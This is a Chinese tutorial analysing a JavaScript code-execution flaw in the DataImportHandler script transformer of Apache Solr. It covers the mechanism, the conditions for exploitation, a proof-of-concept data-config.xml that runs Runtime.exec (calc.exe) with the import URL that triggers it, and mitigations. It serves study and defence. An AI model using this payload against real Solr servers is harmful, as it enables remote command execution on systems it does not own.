论如何从发现者视角看 apache solr 的 js 代码执行漏洞
字数 1390 2025-08-29 08:30:18
Apache Solr JavaScript 代码执行漏洞分析教学文档
漏洞概述
本教学文档将详细分析Apache Solr中存在的JavaScript代码执行漏洞,从发现者视角剖析漏洞原理、利用条件和修复方案。
漏洞背景
Apache Solr是一个基于Lucene的开源搜索平台,提供RESTful API接口。该漏洞存在于Solr的DataImportHandler(DIH)组件中,允许攻击者在特定配置下执行任意JavaScript代码。
漏洞原理
DataImportHandler工作机制
DataImportHandler是Solr用于从数据库或其他数据源导入数据的组件,支持以下功能:
- 全量导入:完整导入数据
- 增量导入:仅导入变更数据
- 通过脚本(JavaScript、JRuby等)转换数据
漏洞触发点
漏洞存在于脚本转换功能中,具体在:
ScriptTransformer类处理JavaScript脚本时- 使用
javax.script.ScriptEngine执行JavaScript代码 - 未对脚本内容进行安全限制
漏洞利用条件
- Solr配置中启用了DataImportHandler
- 数据导入配置中使用了
script转换器 - 攻击者能够控制数据源或直接修改DIH配置
详细分析
代码执行路径
-
请求处理流程:
- 请求到达
DataImportHandler - 解析
data-config.xml中的脚本配置 - 通过
ScriptTransformer执行脚本
- 请求到达
-
关键代码:
// ScriptTransformer.java protected Object evaluate(String script, Map<String, Object> namespace) { ScriptEngine scriptEngine = getScriptEngine(); // 直接将用户输入作为脚本执行 return scriptEngine.eval(script, new SimpleBindings(namespace)); } -
JavaScript引擎特性:
- 使用Nashorn JavaScript引擎
- 可访问Java类和方法的完整功能
- 无沙箱限制
攻击向量
攻击者可通过以下方式注入恶意脚本:
-
直接修改data-config.xml:
<script><![CDATA[ java.lang.Runtime.getRuntime().exec("恶意命令"); ]]></script> -
通过可控数据源注入:
- 如果数据源中的字段值会被作为脚本执行
- 构造包含恶意脚本的数据记录
漏洞验证
环境搭建
- 下载存在漏洞的Solr版本(如5.3.0)
- 创建核心并启用DataImportHandler
- 配置包含脚本转换器的data-config.xml
验证步骤
-
准备恶意配置:
<dataConfig> <script><![CDATA[ function attack() { java.lang.Runtime.getRuntime().exec("calc.exe"); } ]]></script> <document> <entity name="test" query="SELECT 1"> <field column="test" script="attack()"/> </entity> </document> </dataConfig> -
触发数据导入:
http://solr-server:8983/solr/core-name/dataimport?command=full-import -
观察命令执行结果
修复方案
官方修复
-
限制脚本引擎功能:
- 使用
ClassFilter限制可访问的Java类 - 禁用危险方法调用
- 使用
-
配置建议:
- 禁用不必要的脚本功能
- 严格限制DIH配置修改权限
临时缓解措施
-
禁用DataImportHandler:
<requestHandler name="/dataimport" class="solr.DataImportHandler"> <lst name="defaults"> <str name="config">/dev/null</str> </lst> </requestHandler> -
限制网络访问:
- 仅允许可信IP访问管理接口
深入思考
漏洞发现方法论
-
功能点分析:
- 识别所有接受外部输入的组件
- 特别关注脚本执行、表达式解析等功能
-
权限边界检查:
- 验证每个功能的默认权限要求
- 检查是否存在权限绕过可能
-
数据流追踪:
- 从用户输入点到最终执行点
- 识别所有可能的注入路径
类似漏洞模式
-
其他脚本引擎:
- JRuby、Groovy等脚本引擎的类似问题
- 表达式语言注入(OGNL、SpEL等)
-
配置注入:
- XML外部实体注入
- JSON/YAML解析问题
总结
本漏洞展示了在提供强大功能的同时如何引入安全风险。关键教训包括:
- 任何脚本执行功能都需要严格沙箱限制
- 管理接口必须实施强认证和授权
- 默认配置应遵循最小权限原则
通过深入分析此类漏洞,安全研究人员可以培养发现复杂漏洞所需的系统性思维和方法论。